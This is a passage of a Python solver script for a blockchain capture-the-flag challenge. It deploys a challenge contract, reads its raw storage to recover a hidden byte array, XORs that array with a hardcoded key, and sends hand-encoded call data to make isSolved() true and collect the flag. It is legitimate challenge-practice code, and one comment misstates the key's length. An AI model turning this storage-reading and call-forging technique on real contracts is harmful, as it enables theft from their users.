119                print(f"[*] Checking... Current balance: {balance_eth} ETH | Time elapsed: {elapsed}s", end='\r')
120                time.sleep(2)
121        except Exception as e:
122            print(f"[!] Error checking balance: {e}")
123            time.sleep(2)
124
125    print(f"\n[!] Timeout: No sufficient ETH received after {timeout} seconds")
126    return False
127
128
129def deploy_contract(token):
130    """Step 2: Deploy contract"""
131    print("[*] Deploying contract...")
132    sock = connect_nc(NC_HOST, NC_PORT)
133
134    # Receive initial message
135    initial = send_and_receive(sock, "", timeout=1)
136
137    # Send choice 2
138    response = send_and_receive(sock, "2")
139
140    # Send token
141    response = send_and_receive(sock, token, timeout=5)
142    print(response)
143
144    # Parse contract address
145    contract_match = re.search(r'contract address: (0x[a-fA-F0-9]{40})', response)
146    tx_match = re.search(r'transaction hash: (0x[a-fA-F0-9]{64})', response)
147
148    if not contract_match:
149        # Check for error message
150        if "send test ether" in response.lower():
151            print("[!] Insufficient ETH for deployment")
152        raise Exception("Failed to parse contract address")
153
154    contract_address = contract_match.group(1)
155    tx_hash = tx_match.group(1) if tx_match else None
156
157    sock.close()
158
159    print(f"[+] Contract Address: {contract_address}")
160    print(f"[+] Transaction Hash: {tx_hash}")
161
162    return contract_address, tx_hash
163
164
165def solve_challenge(contract_address, deployer_address, token):
166    """Solve the CTF challenge"""
167    print(f"[*] Solving challenge for contract {contract_address}...")
168
169    # Connect to Web3
170    w3 = Web3(Web3.HTTPProvider(RPC_URL))
171
172    # Create a new account for solving (since we don't have the deployer's private key)
173    solver_account = Account.create()
174    solver_address = solver_account.address
175    solver_private_key = solver_account.key.hex()
176
177    print(f"[+] Solver Address: {solver_address}")
178    print(f"[+] Solver Private Key: {solver_private_key}")
179
180    # Get ETH for solver account from faucet
181    print("[*] Getting ETH for solver account...")
182    get_faucet(solver_address, token)
183
184    # Wait for ETH to arrive
185    if not wait_for_eth(solver_address, min_balance=0.001, timeout=160):
186        print("[!] Failed to get ETH for solver account")
187        return False
188
189    # Get the storage value at slot 0 (array_0)
190    print("[*] Reading contract storage...")
191
192    # Read storage slot 0 to get array length and data
193    slot0 = w3.eth.get_storage_at(contract_address, 0)
194    print(f"[+] Storage slot 0: {slot0.hex()}")
195
196    # Parse the array data based on Solidity storage layout
197    array_length_raw = int.from_bytes(slot0, 'big')
198
199    if array_length_raw & 1 == 0:
200        # Short array (length < 32), data is in slot 0
201        array_length = (array_length_raw) >> 1  # Remove the encoding
202        print(f"[+] Short array, length: {array_length}")
203
204        # For short arrays, the length is encoded in the last byte
205        # and the data fills the rest of the slot from the beginning
206        actual_length = slot0[-1] >> 1  # Last byte contains length*2
207        array_data = slot0[:actual_length]
208        print(f"[+] Actual array length from last byte: {actual_length}")
209        print(f"[+] Array data: {array_data.hex()}")
210    else:
211        # Long array (length >= 32)
212        array_length = (array_length_raw - 1) // 2
213        print(f"[+] Long array, length: {array_length}")
214
215        # Calculate storage slot for array data
216        slot_hash = Web3.keccak(b'\x00' * 32)
217
218        # Read array data from storage
219        array_data = b''
220        num_slots = (array_length + 31) // 32
221
222        for i in range(num_slots):
223            slot_index = int.from_bytes(slot_hash, 'big') + i
224            slot_data = w3.eth.get_storage_at(contract_address, slot_index)
225            array_data += slot_data
226
227        array_data = array_data[:array_length]
228        print(f"[+] Array data: {array_data.hex()}")
229
230    # The XOR key from the decompiled code
231    # Looking at the decompiled code: shl(0xa1, 0x35b2bcaf9b9b9a1c1b331ab3)
232    # This is a 13-byte key
233    xor_key = bytes.fromhex('6b65795f3737343836663566') #key_77486f5f的hex值
234
235    print(f"[+] XOR key: {xor_key.hex()}")
236    print(f"[+] Stored array (plaintext): {array_data.hex()}")
237
238    # The contract expects us to send the encrypted data
239    # So we need to XOR the stored plaintext with the key to get the encrypted version
240    encrypted_treasure = bytearray()
241    for i in range(len(array_data)):
242        encrypted_treasure.append(array_data[i] ^ xor_key[i % len(xor_key)])
243
244    print(f"[+] Encrypted treasure to send: {bytes(encrypted_treasure).hex()}")
245
246    # Prepare the function call
247    # Function selector for 0x5cc4d812
248    function_selector = '5cc4d812'  # Remove 0x prefix
249
250    # ABI encode the bytes parameter
251    # Format: selector + offset(32 bytes) + length(32 bytes) + data(padded to 32 bytes)
252    offset = (32).to_bytes(32, 'big')  # Offset to dynamic data
253    length = len(encrypted_treasure).to_bytes(32, 'big')  # Length of bytes
254
255    # Pad data to multiple of 32 bytes
256    padded_data = bytes(encrypted_treasure)
257    if len(padded_data) % 32 != 0:
258        padded_data += b'\x00' * (32 - len(padded_data) % 32)
259
260    # Construct call data
261    call_data = bytes.fromhex(function_selector) + offset + length + padded_data
262
263    print(f"[+] Call data: {call_data.hex()}")
264
265    # Build transaction
266    try:
267        nonce = w3.eth.get_transaction_count(solver_address)
268        gas_price = w3.eth.gas_price
269
270        transaction = {
271            'to': contract_address,
272            'from': solver_address,
273            'data': call_data,
274            'gas': 500000,
275            'gasPrice': gas_price,
276            'nonce': nonce,
277            'chainId': w3.eth.chain_id
278        }
279
280        # Sign and send transaction
281        signed_tx = w3.eth.account.sign_transaction(transaction, solver_private_key)
282
283        # Use the correct attribute name for different versions of eth-account
284        try:
285            raw_tx = signed_tx.rawTransaction
286        except AttributeError:
287            raw_tx = signed_tx.raw_transaction
288
289        tx_hash = w3.eth.send_raw_transaction(raw_tx)
290
291        print(f"[+] Transaction sent: {tx_hash.hex()}")
292
293        # Wait for transaction receipt
294        print("[*] Waiting for transaction to be mined...")
295        receipt = w3.eth.wait_for_transaction_receipt(tx_hash, timeout=120)
296
297        if receipt.status == 1:
298            print("[+] Transaction successful!")
299            print(f"[+] Gas used: {receipt.gasUsed}")
300
301            # Check if isSolved() returns true
302            # Function selector for isSolved(): 0x64d98f6e
303            result = w3.eth.call({
304                'to': contract_address,
305                'data': '0x64d98f6e'
306            })
307
308            is_solved = int.from_bytes(result, 'big') == 1
309            print(f"[+] isSolved() = {is_solved}")
310
311            return is_solved
312        else:
313            print(f"[!] Transaction failed! Status: {receipt.status}")
314            print(f"[!] Gas used: {receipt.gasUsed}")
315
316            # Try to get revert reason
317            try:
318                w3.eth.call(transaction, receipt.blockNumber)
319            except Exception as revert_error:
320                print(f"[!] Revert reason: {revert_error}")
321
322            return False
323
324    except Exception as e:
325        print(f"[!] Transaction error: {e}")
326        import traceback
327        traceback.print_exc()
328        return False
329
330
331def get_flag(token):
332    """Step 3: Get flag"""
333    print("[*] Getting flag...")
334    sock = connect_nc(NC_HOST, NC_PORT)
335
336    # Receive initial message
337    initial = send_and_receive(sock, "", timeout=1)
338
339    # Send choice 3
340    response = send_and_receive(sock, "3")
341
342    # Send token
343    response = send_and_receive(sock, token, timeout=3)
344    print(response)
345
346    sock.close()
347
348    # Parse flag
349    flag_match = re.search(r'(flag\{[^}]+\})', response, re.IGNORECASE)
350    if flag_match:
351        flag = flag_match.group(1)
352        print(f"\n[+] FLAG: {flag}")
353        return flag
354    else:
355        print("[!] Flag not found in response")
356        return None
357
358
359def main():
360    """Main function to run the entire exploit"""
361    print("=" * 60)
362    print("CTF Challenge Solver")
363    print("=" * 60)
364
365    try:
366        # Step 1: Create account and get token
367        deployer_address, token = create_account()
368
369        # Try to get ETH from faucet
370        get_faucet(deployer_address, token)
371
372        # Wait for ETH to arrive (200 seconds timeout, check every 2 seconds)
373        print("\n[*] Waiting for ETH to arrive in deployer account...")
374        print("[*] You can manually send ETH or wait for faucet...")
375
376        if not wait_for_eth(deployer_address, min_balance=0.001, timeout=200):
377            print("[!] Failed to get sufficient ETH. Exiting...")
378            return
379
380        print("\n[+] ETH received! Proceeding with deployment...")
381
382        # Step 2: Deploy contract
383        contract_address, tx_hash = deploy_contract(token)
384
385        # Wait for deployment
386        time.sleep(5)
387
388        # Step 3: Solve challenge
389        solved = solve_challenge(contract_address, deployer_address, token)
390
391        if solved:
392            # Step 4: Get flag
393            flag = get_flag(token)
394            print("\n[+] Challenge completed successfully!")
395        else:
396            print("\n[!] Failed to solve challenge")
397
398    except Exception as e:
399        print(f"\n[!] Error: {e}")
400        import traceback
401        traceback.print_exc()
402
403
404if __name__ == "__main__":
405    main()